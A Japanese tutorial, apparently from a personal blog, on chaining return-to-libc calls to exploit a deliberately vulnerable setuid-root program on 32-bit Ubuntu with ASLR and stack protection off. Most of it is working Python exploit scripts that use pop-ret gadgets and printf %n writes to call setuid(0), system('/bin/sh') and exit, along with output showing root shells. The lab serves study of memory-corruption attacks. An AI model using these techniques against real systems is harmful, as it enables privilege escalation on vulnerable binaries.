Return-to-libcで連続して関数を呼んでみる

一つ前のエントリでは、Return-to-libcでsystem関数を呼び出しシェル起動を行った。 ここでは、複数の関数を連続して呼び出してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。

/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

ASLR、SSPを無効にし、DEPのみを有効にした状態でコンパイルする。 さらに、所有ユーザをrootにし、suidビットを立てておく。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc -fno-stack-protector bof.c
$ sudo chown root a.out
$ sudo chmod u+s a.out
$ ls -al a.out
-rwsr-xr-x 1 root user 7195 Mar 24 00:46 a.out*

objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000068c memsz 0x0000068c flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x0000058c vaddr 0x0804858c paddr 0x0804858c align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。

$ ldd a.out
        linux-gate.so.1 =>  (0xb7fff000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4d000)
        /lib/ld-linux.so.2 (0x80000000)

2回連続して関数を呼んでみる

まずは、puts関数、system関数の順に連続して関数を呼び出してみる。 2回であれば、puts関数のリターンアドレスが入る箇所にsystem関数のアドレスを入れればよい。

system関数同様、libcのシンボルテーブルからputs関数のオフセットを調べ、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)

puts = libc_base + 0x00067740
system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " puts"
00067740 W puts

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

ベースアドレスを指定して実行してみる。

$ python exploit.py 300 0xb7e2b000
buf = 0xbffff4f4
(snip)
/bin/sh
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user)
#

"/bin/sh" がputs関数により出力された後、system関数によりシェルが起動していることが確認できた。

3回以上連続して関数を呼んでみる

3回以上連続して関数を呼ぼうとすると、1個目の関数の引数と3個目の関数のアドレスがかぶってしまう。 これを回避する方法の一つとして、pop命令とret命令の組み合わせを使う方法が知られている。

関数のエピローグでは、しばしばスタックに退避させたレジスタの値をpop命令にて取り出してret命令を呼ぶということが行われる。 これをReturn-to-libcで関数を連続して呼び出している途中で使うと、スタックに残った値を捨てることができる。

pop命令とret命令の組み合わせのある位置は、次のコマンドで調べることができる。

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
   16f8a:       5f                      pop    edi
   16f8b:       c3                      ret
--
   1700f:       5d                      pop    ebp
   17010:       c3                      ret
--
   170ff:       5d                      pop    ebp
   17100:       c2 04 00                ret    0x4
--
   172f9:       5d                      pop    ebp

これを利用して、puts関数、puts関数、system関数の順で連続して関数を呼び出すエクスプロイトコードを書いてみる。

# exploit2.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)

puts = libc_base + 0x00067740
system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98
popret = libc_base + 0x16f8a

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " puts"
00067740 W puts

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
   16f8a:       5f                      pop    edi
   16f8b:       c3                      ret

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', puts)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', system)
buf += 'AAAA'
buf += struct.pack('<I', binsh)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードが成功すると、まずputs関数が呼ばれ、次にpop命令+ret命令によりputs関数の引数が捨てられる。 そして次のputs関数が呼ばれ、同様にその引数が捨てられ、最後にsystem関数が呼ばれる。

ベースアドレスを指定して実行してみる。

$ python exploit2.py 300 0xb7e2b000
buf = 0xbffff4e4
(snip)
/bin/sh
/bin/sh
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user)
#

puts関数が2回呼ばれた後、system関数によりシェルが起動していることが確認できた。

スタック上にゼロを作ってsetuid(0)を呼んでみる

setuid(0)のように引数にゼロを取る関数の場合、スタック上にゼロを作る必要があるが、そのままゼロを入れてしまうと、strcpyが文字列の終端とみなしてコピーを中止してしまう。 そのため、実行時に動的にスタック上にゼロを作る必要がある。 この方法としては、printf関数の %n 指定子を使う方法が知られている。

printf関数の %n 指定子は、その時点までに出力したバイト数を対応する引数で指定されたアドレスに書き込む。 つまり、%n 単独で使えば特定のアドレスにゼロを書き込むことができる。 また、%3$n のように書けば第3引数で指定したアドレスに書き込むことができる。 そしてここでの第3引数とは、フォーマット文字列が入ったアドレスから3ワード先のアドレスのことになる。

libcのシンボルテーブルからprintf関数のオフセットも調べ、エクスプロイトコードを書くと次のようになる。

# exploit3.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
buf_base = int(sys.argv[3], 16)

system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98
setuid = libc_base + 0x000b9c20
printf = libc_base + 0x0004ced0
popret = libc_base + 0x16f8a

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " setuid"
000b9c20 W setuid

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " printf"
0004ced0 T printf

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
   16f8a:       5f                      pop    edi
   16f8b:       c3                      ret

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', printf)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', buf_base+len(buf)+4*5)
buf += struct.pack('<I', setuid)
buf += struct.pack('<I', system)
buf += struct.pack('<I', buf_base+len(buf))
buf += struct.pack('<I', binsh)
buf += "%3$n"

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードが成功すると、まずprintf関数が実行され、systemとbinshの間の4バイトに0x00000000が書き込まれる。 その後、popretにより引数が捨てられた後setuidが実行され、引き続きsystem関数が呼び出される。

libcのベースアドレスとバッファの先頭アドレスを指定して実行してみる。

$ python exploit3.py 300 0xb7e2b000 0xbffff4e4
buf = 0xbffff4e4
(snip)
# id
uid=0(root) gid=1000(user) groups=0(root),1000(user)
#

setuid(0)により、実ユーザ (uid) がrootになっていることが確認できる。

このコードの場合、system関数のアドレスの次が0x00000000になるため、立ち上げたシェルが終了してsystem関数から抜けた後0x00000000にジャンプすることになる。 実際にこれをgdbで確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run "$(cat buf)"
Starting program: /home/user/tmp/a.out "$(cat buf)"
buf = 0xbffff4c4
(snip)
$

Program received signal SIGSEGV, Segmentation fault.
0xbffff630 in ?? ()
(gdb) quit
A debugging session is active.

        Inferior 1 [process 11329] will be killed.

Quit anyway? (y or n) y

$ python exploit3.py 300 0xb7e2b000 0xbffff4c4
buf = 0xbffff4e4
(snip)
$

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run "$(cat buf)"
Starting program: /home/user/tmp/a.out "$(cat buf)"
buf = 0xbffff4c4
(snip)
$

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) quit
A debugging session is active.

        Inferior 1 [process 11349] will be killed.

Quit anyway? (y or n) y

実際に0x00000000にジャンプし、セグメンテーション違反で終了していることがわかる。

exit関数を呼んで正常終了するようにしてみる

system関数から抜けた後、exit(0)を実行して正常終了させることを考える。

libcのシンボルテーブルからexit関数のオフセットも調べ、エクスプロイトコードを書くと次のようになる。

# exploit4.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
buf_base = int(sys.argv[3], 16)

system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98
setuid = libc_base + 0x000b9c20
printf = libc_base + 0x0004ced0
addr_exit = libc_base + 0x00032fb0
popret = libc_base + 0x16f8a

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " setuid"
000b9c20 W setuid

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " printf"
0004ced0 T printf

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
00032fb0 T exit

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
   16f8a:       5f                      pop    edi
   16f8b:       c3                      ret

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', printf)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', buf_base+len(buf)+4*8)
buf += struct.pack('<I', setuid)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', buf_base+len(buf))
buf += struct.pack('<I', system)
buf += struct.pack('<I', addr_exit)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', buf_base+len(buf))
buf += "%3$n%7$n"

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードを実行すると、printf関数でsetuidとexitの引数となる箇所にゼロを書き込んだ後、setuid関数、system関数、exit関数の順に実行する。

libcのベースアドレスとバッファの先頭アドレスを指定して実行してみる。

$ python exploit4.py 300 0xb7e2b000 0xbffff4d4
buf = 0xbffff4d4
(snip)
# id
uid=0(root) gid=1000(user) groups=0(root),1000(user)
#

setuid(0)により、実ユーザ (uid) がrootになっていることが確認できる。

gdbで終了時のステータスを確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run "$(cat buf)"
Starting program: /home/user/tmp/a.out "$(cat buf)"
buf = 0xbffff4b4
(snip)
$
[Inferior 1 (process 11802) exited with code 060]
(gdb) quit

$ python exploit4.py 300 0xb7e2b000 0xbffff4b4
Traceback (most recent call last):
  File "exploit4.py", line 60, in <module>
    p = Popen(['./a.out', buf])
  File "/usr/lib/python2.7/subprocess.py", line 679, in __init__
    errread, errwrite)
  File "/usr/lib/python2.7/subprocess.py", line 1249, in _execute_child
    raise child_exception
TypeError: execv() arg 2 must contain only strings

$ od -Ax -tx1z buf
000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  >AAAAAAAAAAAAAAAA<
*
000130 41 41 41 41 41 41 41 41 d0 7e e7 b7 8a 1f e4 b7  >AAAAAAAA.~......<
000140 14 f6 ff bf 20 4c ee b7 8a 1f e4 b7 00 f6 ff bf  >.... L..........<
000150 30 a4 e6 b7 b0 df e5 b7 98 cd f8 b7 10 f6 ff bf  >0...............<
000160 25 33 24 6e 25 37 24 6e                          >%3$n%7$n<
000168

gdbでバッファの先頭アドレスの値が変わった結果、printfでゼロを書き込むアドレスの一つにnullバイト (\x00) が含まれるようになってしまった。 そこで、エクスプロイトコードを次のように書き換える。

# exploit4-2.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
buf_base = int(sys.argv[3], 16)

system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98
setuid = libc_base + 0x000b9c20
printf = libc_base + 0x0004ced0
addr_exit = libc_base + 0x00032fb0
popret = libc_base + 0x16f8a

"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system

$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
 161d98 /bin/sh

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " setuid"
000b9c20 W setuid

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " printf"
0004ced0 T printf

$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
00032fb0 T exit

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
   16f8a:       5f                      pop    edi
   16f8b:       c3                      ret

(gdb) i proc map
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', popret+1)    # ret
buf += struct.pack('<I', printf)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', buf_base+len(buf)+4*8)
buf += struct.pack('<I', setuid)
buf += struct.pack('<I', popret)
buf += struct.pack('<I', buf_base+len(buf))
buf += struct.pack('<I', system)
buf += struct.pack('<I', addr_exit)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', buf_base+len(buf))
buf += "%3$n%7$n"

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

printf関数を実行する前に、ret命令のみを実行させることでアドレスをずらしている。 あらためてgdbで終了時のステータスを確認してみる。

$ python exploit4-2.py 300 0xb7e2b000 0xbffff4b4
buf = 0xbffff4d4
(snip)

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run "$(cat buf)"
Starting program: /home/user/tmp/a.out "$(cat buf)"
buf = 0xbffff4b4
(snip)
$
[Inferior 1 (process 11892) exited normally]
(gdb) quit

立ち上がったシェルを抜けた後、プログラムが正常終了していることが確認できた。

関連リンク